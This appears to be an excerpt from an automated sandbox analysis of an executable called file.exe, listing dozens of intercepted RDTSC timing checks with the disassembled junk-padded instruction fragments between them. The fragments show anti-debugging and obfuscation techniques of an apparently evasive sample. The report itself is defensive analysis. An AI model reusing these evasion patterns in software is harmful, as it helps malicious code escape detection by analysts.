                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5470038 second address: 547003E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 547003E second address: 54700DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e push esi 0x0000000f jmp 00007F5E810FCBABh 0x00000014 pop esi 0x00000015 call 00007F5E810FCBB9h 0x0000001a pushfd 0x0000001b jmp 00007F5E810FCBB0h 0x00000020 xor cx, DF08h 0x00000025 jmp 00007F5E810FCBABh 0x0000002a popfd 0x0000002b pop ecx 0x0000002c popad 0x0000002d and esp, FFFFFFF8h 0x00000030 jmp 00007F5E810FCBAFh 0x00000035 xchg eax, ecx 0x00000036 jmp 00007F5E810FCBB6h 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F5E810FCBADh 0x00000045 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54700DF second address: 54700F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F361h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54700F4 second address: 5470128 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 jmp 00007F5E810FCBB3h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5E810FCBB5h 0x00000016 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5470128 second address: 547012E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 547012E second address: 5470132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5470132 second address: 5470163 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F363h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5E8080F365h 0x00000013 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5470163 second address: 5470209 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5E810FCBB7h 0x00000009 add ecx, 6EC672DEh 0x0000000f jmp 00007F5E810FCBB9h 0x00000014 popfd 0x00000015 movzx eax, di 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c pushad 0x0000001d mov bx, si 0x00000020 pushfd 0x00000021 jmp 00007F5E810FCBB4h 0x00000026 sub ecx, 547D3208h 0x0000002c jmp 00007F5E810FCBABh 0x00000031 popfd 0x00000032 popad 0x00000033 xchg eax, ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 jmp 00007F5E810FCBABh 0x0000003c pushfd 0x0000003d jmp 00007F5E810FCBB8h 0x00000042 sbb ah, FFFFFF98h 0x00000045 jmp 00007F5E810FCBABh 0x0000004a popfd 0x0000004b popad 0x0000004c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5470209 second address: 547020F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 547020F second address: 5470213 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5470213 second address: 5470224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+10h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5470224 second address: 547023C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 547023C second address: 5470242 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5470242 second address: 5470246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5470246 second address: 547024A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 547024A second address: 54702EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007F5E810FCBB6h 0x0000000e mov dword ptr [esp], esi 0x00000011 pushad 0x00000012 mov eax, 5866265Dh 0x00000017 mov dx, si 0x0000001a popad 0x0000001b mov esi, dword ptr [ebp+08h] 0x0000001e pushad 0x0000001f mov edi, ecx 0x00000021 mov bx, si 0x00000024 popad 0x00000025 xchg eax, edi 0x00000026 pushad 0x00000027 jmp 00007F5E810FCBB6h 0x0000002c push eax 0x0000002d call 00007F5E810FCBB1h 0x00000032 pop ecx 0x00000033 pop ebx 0x00000034 popad 0x00000035 push eax 0x00000036 pushad 0x00000037 jmp 00007F5E810FCBADh 0x0000003c mov bx, cx 0x0000003f popad 0x00000040 xchg eax, edi 0x00000041 pushad 0x00000042 mov ch, A2h 0x00000044 push eax 0x00000045 push edx 0x00000046 pushfd 0x00000047 jmp 00007F5E810FCBABh 0x0000004c sbb al, 0000003Eh 0x0000004f jmp 00007F5E810FCBB9h 0x00000054 popfd 0x00000055 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54702EF second address: 547034B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 test esi, esi 0x00000009 jmp 00007F5E8080F35Ch 0x0000000e je 00007F5EF22CD667h 0x00000014 pushad 0x00000015 mov ecx, 5DEDA44Dh 0x0000001a mov si, 3849h 0x0000001e popad 0x0000001f cmp dword ptr [esi+08h], DDEEDDEEh 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007F5E8080F361h 0x0000002f add esi, 2A7F8ED6h 0x00000035 jmp 00007F5E8080F361h 0x0000003a popfd 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 547034B second address: 5470350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5470350 second address: 547037A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F367h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F5EF22CD616h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov cx, dx 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 547037A second address: 54703A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [esi+44h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5E810FCBB7h 0x00000013 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54703A4 second address: 54703CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F5E8080F35Fh 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e or edx, dword ptr [ebp+0Ch] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 call 00007F5E8080F35Ah 0x00000019 pop ecx 0x0000001a popad 0x0000001b rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54703CE second address: 5470406 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 mov cx, di 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c test edx, 61000000h 0x00000012 jmp 00007F5E810FCBB5h 0x00000017 jne 00007F5EF2BBAE39h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov ebx, 2B0FA58Eh 0x00000025 push ebx 0x00000026 pop eax 0x00000027 popad 0x00000028 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5470406 second address: 547043C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F360h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [esi+48h], 00000001h 0x0000000d jmp 00007F5E8080F360h 0x00000012 jne 00007F5EF22CD5C9h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov ax, dx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 547043C second address: 5470441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54608DD second address: 54608FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F35Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5E8080F35Dh 0x00000011 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54608FE second address: 5460949 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F5E810FCBB1h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 mov dx, cx 0x00000014 mov edi, eax 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 jmp 00007F5E810FCBB2h 0x0000001e and esp, FFFFFFF8h 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460949 second address: 546094E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 546094E second address: 54609AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F5E810FCBB6h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push esi 0x00000014 pop ebx 0x00000015 pushfd 0x00000016 jmp 00007F5E810FCBB8h 0x0000001b jmp 00007F5E810FCBB5h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54609AE second address: 54609B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54609B4 second address: 54609B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54609B8 second address: 54609D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5E8080F361h 0x00000012 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54609D6 second address: 54609EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54609EB second address: 5460A56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F361h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov bh, ah 0x0000000d mov al, dh 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 call 00007F5E8080F361h 0x00000017 pushad 0x00000018 popad 0x00000019 pop ecx 0x0000001a push edi 0x0000001b call 00007F5E8080F35Ah 0x00000020 pop ecx 0x00000021 pop ebx 0x00000022 popad 0x00000023 xchg eax, esi 0x00000024 jmp 00007F5E8080F35Eh 0x00000029 mov esi, dword ptr [ebp+08h] 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F5E8080F367h 0x00000033 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460A56 second address: 5460ACE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, C73Ah 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebx, 00000000h 0x00000011 jmp 00007F5E810FCBACh 0x00000016 test esi, esi 0x00000018 pushad 0x00000019 mov eax, 43A97F8Dh 0x0000001e pushfd 0x0000001f jmp 00007F5E810FCBAAh 0x00000024 add cl, FFFFFFA8h 0x00000027 jmp 00007F5E810FCBABh 0x0000002c popfd 0x0000002d popad 0x0000002e je 00007F5EF2BC249Eh 0x00000034 jmp 00007F5E810FCBB6h 0x00000039 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000040 pushad 0x00000041 mov ebx, ecx 0x00000043 mov ax, D3D9h 0x00000047 popad 0x00000048 mov ecx, esi 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d pushad 0x0000004e popad 0x0000004f mov edx, 23643402h 0x00000054 popad 0x00000055 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460ACE second address: 5460B61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F368h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F5EF22D4C0Fh 0x0000000f pushad 0x00000010 mov bx, si 0x00000013 pushfd 0x00000014 jmp 00007F5E8080F35Ah 0x00000019 and cl, FFFFFFC8h 0x0000001c jmp 00007F5E8080F35Bh 0x00000021 popfd 0x00000022 popad 0x00000023 test byte ptr [76FB6968h], 00000002h 0x0000002a pushad 0x0000002b mov cl, 29h 0x0000002d pushfd 0x0000002e jmp 00007F5E8080F361h 0x00000033 add al, FFFFFFE6h 0x00000036 jmp 00007F5E8080F361h 0x0000003b popfd 0x0000003c popad 0x0000003d jne 00007F5EF22D4BCBh 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 call 00007F5E8080F363h 0x0000004b pop ecx 0x0000004c mov ch, bl 0x0000004e popad 0x0000004f rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460B61 second address: 5460BA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 push ebx 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov edx, dword ptr [ebp+0Ch] 0x0000000d pushad 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007F5E810FCBB0h 0x00000015 sub ax, 2518h 0x0000001a jmp 00007F5E810FCBABh 0x0000001f popfd 0x00000020 pop esi 0x00000021 popad 0x00000022 xchg eax, ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F5E810FCBACh 0x0000002c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460BA5 second address: 5460BAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460BAB second address: 5460BD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F5E810FCBB1h 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop ebx 0x00000014 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460BD4 second address: 5460C01 instructions: 0x00000000 rdtsc 0x00000002 call 00007F5E8080F35Ah 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push esi 0x00000010 pop edi 0x00000011 jmp 00007F5E8080F366h 0x00000016 popad 0x00000017 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460C01 second address: 5460C3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 mov di, AF80h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e jmp 00007F5E810FCBB4h 0x00000013 mov dword ptr [esp], ebx 0x00000016 jmp 00007F5E810FCBB0h 0x0000001b push dword ptr [ebp+14h] 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 mov cl, C7h 0x00000023 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460C3E second address: 5460C7C instructions: 0x00000000 rdtsc 0x00000002 mov esi, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 mov dx, E6E6h 0x0000000b jmp 00007F5E8080F367h 0x00000010 popad 0x00000011 popad 0x00000012 push dword ptr [ebp+10h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F5E8080F365h 0x0000001c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460C7C second address: 5460C8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E810FCBACh 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460C8C second address: 5460C90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460CD1 second address: 5460D00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007F5E810FCBAEh 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460D00 second address: 5460D04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460D04 second address: 5460D0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460D0A second address: 5460D19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E8080F35Bh 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460D19 second address: 5460D1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460D1D second address: 5460D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esp, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F5E8080F35Bh 0x00000011 sub cx, E44Eh 0x00000016 jmp 00007F5E8080F369h 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F5E8080F360h 0x00000022 adc cl, FFFFFFC8h 0x00000025 jmp 00007F5E8080F35Bh 0x0000002a popfd 0x0000002b popad 0x0000002c pop ebp 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F5E8080F365h 0x00000034 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460D8C second address: 5460D92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460D92 second address: 5460D96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5470D83 second address: 5470DC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F5E810FCBB6h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov eax, 335B0989h 0x00000017 popad 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov ax, dx 0x0000001f call 00007F5E810FCBADh 0x00000024 pop esi 0x00000025 popad 0x00000026 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5470A66 second address: 5470B01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 pushfd 0x00000007 jmp 00007F5E8080F363h 0x0000000c adc eax, 7F11A4AEh 0x00000012 jmp 00007F5E8080F369h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c jmp 00007F5E8080F35Eh 0x00000021 push eax 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F5E8080F361h 0x00000029 and ax, C396h 0x0000002e jmp 00007F5E8080F361h 0x00000033 popfd 0x00000034 mov ch, 08h 0x00000036 popad 0x00000037 xchg eax, ebp 0x00000038 pushad 0x00000039 movsx edx, cx 0x0000003c push eax 0x0000003d pushad 0x0000003e popad 0x0000003f pop ebx 0x00000040 popad 0x00000041 mov ebp, esp 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 jmp 00007F5E8080F35Fh 0x0000004b pushad 0x0000004c popad 0x0000004d popad 0x0000004e rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5470B01 second address: 5470B0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 7618h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54F00BB second address: 54F00C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54F00C1 second address: 54F00F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5E810FCBB5h 0x00000013 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54F00F2 second address: 54F00F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54F00F8 second address: 54F00FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54F00FC second address: 54F0121 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov ebx, esi 0x0000000c pushad 0x0000000d mov ax, 0EEDh 0x00000011 mov ax, ACE9h 0x00000015 popad 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F5E8080F35Bh 0x0000001f rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54F0121 second address: 54F0127 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54E0435 second address: 54E04C0 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F5E8080F35Eh 0x00000008 xor cl, 00000068h 0x0000000b jmp 00007F5E8080F35Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F5E8080F366h 0x0000001a or si, 5BC8h 0x0000001f jmp 00007F5E8080F35Bh 0x00000024 popfd 0x00000025 mov ah, 1Dh 0x00000027 popad 0x00000028 popad 0x00000029 push eax 0x0000002a jmp 00007F5E8080F362h 0x0000002f xchg eax, ebp 0x00000030 pushad 0x00000031 call 00007F5E8080F35Eh 0x00000036 movzx eax, bx 0x00000039 pop edi 0x0000003a mov eax, 123D11B3h 0x0000003f popad 0x00000040 mov ebp, esp 0x00000042 pushad 0x00000043 pushad 0x00000044 mov cl, CDh 0x00000046 popad 0x00000047 popad 0x00000048 pop ebp 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54E04C0 second address: 54E04C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54E04C4 second address: 54E04C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54E04C8 second address: 54E04CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54E02C9 second address: 54E0317 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5E8080F368h 0x00000009 sub ah, 00000008h 0x0000000c jmp 00007F5E8080F35Bh 0x00000011 popfd 0x00000012 jmp 00007F5E8080F368h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54E0317 second address: 54E031B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54E031B second address: 54E0338 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F369h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 548006B second address: 548006F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 548006F second address: 5480075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
